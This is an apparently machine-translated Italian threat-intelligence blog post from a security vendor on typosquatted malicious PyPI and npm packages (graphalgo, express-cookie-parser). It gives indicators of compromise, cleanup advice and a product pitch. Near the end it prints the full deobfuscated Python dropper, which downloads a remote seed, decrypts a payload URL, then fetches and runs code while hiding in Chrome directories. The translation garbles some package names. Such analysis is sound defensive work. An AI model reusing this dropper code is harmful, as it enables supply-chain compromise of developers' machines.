Attacchi alla catena di fornitura del software 2025 - pacchetti dannosi - pacchetti Python dannosi - pacchetti NPM dannosi

Uno sguardo più da vicino agli attacchi alla supply chain del software nel 2025: confronto tra campagne PyPI e NPM

Xygeni ha recentemente osservato un modello preoccupante nel panorama degli attacchi alla supply chain del software nel 2025, che emerge in due popolari gestori di pacchetti: PyPI and npmCome parte dei nostri continui sforzi di intelligence sulle minacce,Malware Early Warning (MEW) di Xygeni Lo strumento ha identificato un'istanza distinta ma metodologicamente simile di un pacchetto dannoso caricato in precedenza su un altro registro. Questo caso evidenzia come gli attori della minaccia si stiano evolvendo e riutilizzando tecniche di attacco in tutti gli ecosistemi, in particolare attraverso pacchetti Python dannosi and pacchetti npm dannosi, il che aumenta il rischio che pacchetti dannosi si infiltrino nelle catene di fornitura open source.

MEW di Xygeni: individuare le somiglianze

Lo strumento MEW di Xygeni è progettato per rilevare e segnalare pacchetti dannosi, in particolare quelli collegati ad attacchi alla catena di fornitura software nel 2025, non appena vengono pubblicati nei registri open source. Funziona analizzando i nuovi pacchetti alla ricerca di comportamenti sospetti.

In questo caso, ne ha identificati due pacchetti Python dannosi (graphalgo su PyPI) e pacchetti npm dannosi (express-cookie-parser su npm).

Pacchetti Python e npm dannosi negli attacchi alla catena di fornitura del software (2025)

Esploriamo le caratteristiche comuni che hanno attivato i nostri avvisi:

Typosquatting

Entrambi hanno cercato di imitare pacchetti già esistenti e molto popolari.

  • grafolo (PyPI)"Pacchetto Python per la creazione e la manipolazione di grafici e reti." Caricato da un utente di nome "larrytech" Il 13 giugno 2025, questo pacchetto si è presentato come un'alternativa PyPi al progetto originale graphalgo non dannoso, che in seguito è stato rinominato graphdict.
  • parser di cookie espresso (npm): Questo pacchetto imitava il noto pacchetto cookie-parser, rispecchiandone persino il LEGGIMI.md. Questo tipo di impersonificazione è una tattica classica per sfruttare la fiducia esistente.

L'offuscamento come prima linea di difesa

Entrambi i pacchetti hanno nascosto il loro codice dannoso all'interno dei file originali. Per graphalgo, il codice offuscato è stato trovato all'interno /utils/load_libraries.py. Nel caso di parser-di-cookie-espresso, cookie-loader.min.js conteneva il carico utile offuscato.

Questo livello iniziale di offuscamento viene in genere utilizzato per ostacolare l'ispezione superficiale e l'analisi statica. L'offuscamento era piuttosto semplice: compressione ripetuta di ZLib e codifica Base64. Questo tipo di offuscamento indica chiaramente che il software sta cercando di nascondere il proprio comportamento. Insieme ad altre prove, questo ha permesso a Xygeni MEW di classificare i pacchetti come potenziale malware. Durante la fase di conferma, i nostri revisori hanno prontamente preparato uno script di deoffuscamento che ha rivelato la fase del dropper, palesemente dannosa.

Consegna del carico multistadio e punto di origine condiviso

Entrambi i pacchetti hanno funzionato come iniziali “contagocce,” preparando il terreno per il vero carico utile. Condividevano un esterno comune “seme"URL del file:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Questo file seed esterno identico è un forte indicatore di un attore di minaccia condiviso. È interessante notare che il contenuto di questo file seed sembra essere costituito da semplici variabili d'ambiente (ad esempio, JWT_SECRET, PORT), il che potrebbe indurre in errore sulla sua effettiva funzione.

Risoluzione dinamica C2 con un DGA

Una tattica sofisticata osservata in questi pacchetti dannosi è l'utilizzo di un algoritmo di generazione di dominio (DGA) per risolvere dinamicamente il server di comando e controllo (C2). Questa tecnica, spesso osservata negli attacchi avanzati alla catena di fornitura di software nel 2025, si basa su un hash SHA256 derivato dal contenuto del file seed, combinato con altri valori hardcoded. In questo modo, l'infrastruttura C2 cambia frequentemente, rendendo la blacklist tradizionale molto meno efficace. In questo caso, la variante npm utilizzava un valore fisso di 496AAC7E come parte della sua logica DGA.

Stabilire la persistenza

Entrambi gli aggressori cercavano di stabilire una presenza duratura sui sistemi interessati. La loro strategia prevedeva il rilascio di un file, startup.py (per PyPi) o startup.js (per npm), nelle directory di dati utente comuni di Google Chrome su vari sistemi operativi (Windows, Linux, macOS).

Pulizia post-esecuzione

Per ridurre al minimo le tracce, entrambi gli script dannosi hanno eseguito operazioni di pulizia. Ciò includeva l'eliminazione dei loro file dropper iniziali (load_libraries.py, cookie-loader.min.js) e modificando i file di pacchetto legittimi (__init__.py, index.js) per rimuovere i riferimenti ai componenti ora eliminati.

Indicatori di compromissione nei pacchetti Python e npm dannosi

  • Pacchetto PyPI: graphalgo (pubblicato da larrytech, 13 giugno 2025)
  • Pacchetto npm: express-cookie-parser (in particolare la versione 1.4.12)
  • Accesso all'URL del seed condiviso

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Nomi di file persistenti: startup.py (Pitone) startup.js (JavaScript)
  • Percorsi persistenti comuni (dipendenti dal sistema operativo): All'interno delle directory dei dati utente di Google Chrome (ad esempio, AppData\Local\Google\Chrome\UserData\Scripts\ Su Windows, ~/.config/google-chrome/Scripts/ su Linux, ecc.).

Come difendersi dai pacchetti dannosi negli attacchi alla catena di fornitura del software nel 2025

Questo incidente rappresenta un prezioso caso di studio nel panorama in continua evoluzione delle minacce degli attacchi alla supply chain del software nel 2025. Evidenzia come pacchetti Python e npm dannosi possano infiltrarsi in ecosistemi affidabili, spesso eludendo il rilevamento finché non è troppo tardi. Ecco perché il rilevamento precoce, gli strumenti intelligenti e l'igiene proattiva dei sistemi sono ora componenti essenziali di qualsiasi flusso di lavoro DevOps sicuro. Gli sviluppatori sono incoraggiati a considerare quanto segue:

Revisione delle dipendenze

Se i tuoi progetti hanno incluso graphalgo or parser-di-cookie-espresso, sarebbe prudente procedere alla loro rimozione.

  • Per PyPI: pip uninstall graphalgo
  • Per npm: npm uninstall express-cookie-parser

Igiene del sistema

Si consiglia di eseguire una scansione completa del sistema. Si consiglia inoltre di controllare manualmente i percorsi comuni delle directory dei dati utente di Chrome per individuare eventuali errori imprevisti. startup.py or startup.js File.

Misure di sicurezza proattive

  • Valutare le nuove dipendenze: Stabilire una routine per valutare attentamente i nuovi pacchetti prima dell'integrazione, concentrandosi su quelli provenienti da editori sconosciuti.
  • Integrare gli strumenti di sicurezza: Strumenti come MEW di Xygeni, insieme ad altri strumenti di analisi della composizione del software (SCA) possono fornire un livello critico di difesa identificando comportamenti sospetti e vulnerabilità.
  • Privilegio minimo:L'utilizzo di ambienti di sviluppo basati sul principio del privilegio minimo può aiutare a limitare il potenziale impatto di una compromissione.
  • Consapevolezza della rete:Il monitoraggio del traffico di rete in uscita per individuare connessioni insolite può talvolta rivelare comunicazioni C2 generate da DGA.

Componenti chiave di load_libraries.py (da graphalgo)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): Gestisce il recupero dei file dagli URL specificati.
  • run_process(): Esegue script Python esterni in modo distaccato, sopprimendo l'output per mantenerlo discreto.
  • get_output_file_path(): Determina la posizione di sistema ideale per il file persistente startup.py.
  • remove_self(): Orchestra la pulizia post-esecuzione dei file dannosi iniziali e delle modifiche del pacchetto.
  • simple_shift_encrypt() / simple_shift_decrypt(): Funzioni crittografiche personalizzate per oscurare i canali di comunicazione, fondamentali per l'implementazione del DGA.
  • load_libraries(): La funzione centrale che coordina l'intero processo in più fasi, dallo scaricamento iniziale all'esecuzione e alla pulizia del payload finale.

Conseguenze

Come per altri pacchetti potenzialmente dannosi identificati da MEW, il firewall delle dipendenze ha immediatamente protetto gli utenti che avrebbero incluso questi pacchetti dannosi nelle loro dipendenze. Dopo la conferma, abbiamo seguito le procedure di notifica per entrambi i registri, che, dopo la verifica, hanno rimosso entrambi i pacchetti.

sca-tools-software-strumenti-di-analisi-della-composizione
Dai priorità, risolvi e proteggi i rischi del tuo software
Prova gratuita 7-day
Nessuna carta di credito richiesta

Proteggi lo sviluppo e la consegna del tuo software

con la suite di prodotti Xygeni